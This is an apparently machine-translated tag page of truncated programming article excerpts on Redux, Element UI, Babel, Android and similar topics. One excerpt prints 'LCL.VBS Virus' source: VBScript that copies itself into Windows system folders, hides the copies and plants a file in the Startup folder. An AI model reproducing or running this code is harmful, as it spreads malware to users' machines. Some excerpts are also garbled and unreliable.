Tag:source code

  • Getting started with Redux 0x103: splitting multiple reducers

    Time:2020-10-27

    0x001 overview This chapter talks about more than onereducerHow to deal with it andleduxSupport more than onereducer 0x002 unsealingreducer import {createStore, combineReducers} from ‘redux’ const ACTION_NUM1_INCREMENT = ‘ACTION_NUM1_INCREMENT’ const ACTION_NUM2_INCREMENT = ‘ACTION_NUM2_INCREMENT’ const num1 = (state = 0, action) => { switch (action.type) { case ACTION_NUM1_INCREMENT: { return ++state } default: { return state } […]

  • Element rate score establishment and use

    Time:2020-10-27

    The use of scoring component in El table display When the score is greater than 0, it is displayed when it is 0, and no score is displayed //The score of scorecolors in data is 12 3 45 Scorecolors: [‘#99a9bf’, ‘#f7ba2a’, ‘#ff9900’], // equivalent to {2: ‘#ාාාාාාාාාාාාා#ා#ා##ා#ා##ා##      reference resources: Official website:https://element.eleme.cn/#/zh-CN/component/rate#rate-ping-fen Element rate […]

  • Using Babel family barrel to modularize the ancient noodle code

    Time:2020-10-27

    In my recent work, I took over an old project. The JS code is a lump of noodle code. About 3000 lines of code are all written in one file, which is really a headache to maintain. I don’t know why the students who maintain the project before can tolerate such hard to maintain code […]

  • Android keep alive from getting started to giving up: guide users to add white list (attached with examples of 7 major models)

    Time:2020-10-27

    1. Introduction The problem of IM keeping alive on Android is often discussed in forums and technology groups of instant messaging networks. Since Android 8.0, the system has greatly reduced the survivability tolerance of background running applications (see “Android” for details) The official version of P is coming: the real nightmare of back-end application and […]

  • How to get the name of each month and month

    Time:2020-10-26

    Actual combat demand Get month Gets the name of the month The value and harvest of this paper After reading this article, you will be able to make the following interface Basic knowledge (master can skip this section, more wonderful later) Date display and processing are skills that every swiftui developer should master. Date, calendar […]

  • Implementation of simple todolist addition, deletion and modification with native JS

    Time:2020-10-26

    Just finished, there are still a lot of improvements to be made. When you have time to optimize, you are ready to refactor with Vue and react. The following is the source code. Copy can be run directly <!DOCTYPE html> <html lang=”en”> <head> <meta charset=”UTF-8″> <meta name=”viewport” content=”width=device-width, initial-scale=1.0″> <title>Document</title> <style> ul>li{ margin: 10px 0; […]

  • LCL.VBS Virus source code

    Time:2020-10-26

    rem email:[email protected] some crack statement i remment,make it can’t to runon error resume next dim title,text title=”can you help me find a person?” text=”her name is Liu Chun li.”&chr(13)&chr(10) text=text&”her birthday is 1981-01-23.”&chr(13)&chr(10) text=text&”her mother home is Yuzhen.Qixian.Kaifeng.Henan.China.”&chr(13)&chr(10) text=text&”I was died because by her,”&chr(13)&chr(10) text=text&”I am demanding my life of you.”&chr(13)&chr(10) Set fso = CreateObject(“Scripting”&”.”&”FileSystem”&”Object”) self=fso.opentextfile(wscript.scriptfullname,1).readall  set WshShell = WScript.CreateObject(“WScript”&”.”&”Shell”) Startup = WshShell.SpecialFolders(“Startup”) Set dirwin = fso.GetSpecialFolder(0)  Set dirsystem = fso.GetSpecialFolder(1)  Set dirtemp = fso.GetSpecialFolder(2)  Set lcl=fso.GetFile(WScript.ScriptFullName)  lcl.Copy(dirwin&”\lcl.vbs”)  lcl.Copy(dirsystem&”\lcl.vbs”)  fso.getfile(dirwin&”\lcl.vbs”).attributes=7 fso.getfile(dirsystem&”\lcl.vbs”).attributes=7 set sf0 = fso.GetSpecialFolder(0) b = sf0.drive&”\lcl.txt” Set lcl = fso.CreateTextFile( b , True ) lcl.Write text fso.CopyFile b, Startup&”\lcl.txt” lcl.Close dim lcl Set lcl = fso.CreateTextFile(wscript.scriptfullname, True) Function scode (N)     dim x     for x = 0 to 254        if n = chr(x) then            scode = x           exit function        end if     next end function Read line and other methods are used to […]

  • The first Python Programming challenge on the Internet (end)

    Time:2020-10-25

    Date of establishment: March 28, 2020Update Date: April 22, 2020 (end)Personal collection Tool.pywebsite:http://www.pythonchallenge.com/Note: please quote or change this article at will, just mark the source and the author. The author does not guarantee that the content is absolutely correct. Please be responsible for any consequences Title: the first Python Programming challenge on the web Find […]

  • The most complete and detailed data structure and algorithm Video – [with courseware and source code]

    Time:2020-10-25

    Source code and courseware download mode at the end of the article What are data structures and algorithms Algorithms are used to design and implement a computer-based solution to a problem. It satisfies the following properties: Input: there are zero or more inputs output: generate at least one output certainty: the instruction of the algorithm […]

  • Five aspects of Ali, successfully won the PHP R & D post offer, these technical points you may not master

    Time:2020-10-24

    Get itAli internship offer, experienced five interviews, including four rounds of technical and one round of HR interview.Here to share their own interview experience and learning summary. Hope to help more small partners.Please be enthusiastic about finding a job, and the earlier you prepare, the better.Ali’s sideOne side received more interviews at forenoon 9 than […]

  • The essence reads thirteenth times the common eight kinds of problems that cause APP memory leak.

    Time:2020-10-23

    This issue is the 13th issue of mobile development elite club articles, are mainly technology-based, so here is not much to repeat, let’s directly look at the dry goods content! This paper is organized by itom management platform oneapm. MVVM (building block) patterns in real projects – Prologue Guide: before opening, paste the app store […]

  • My openeuler community engagement Tour

    Time:2020-10-23

    What is openeuler? Openeuler is an open source, free Linux distribution platform. It will build an open, pluralistic and architecture inclusive software ecosystem with global developers through an open community. At the same time, openeuler is also an innovative platform to encourage anyone to put forward new ideas, develop new ideas and practice new solutions […]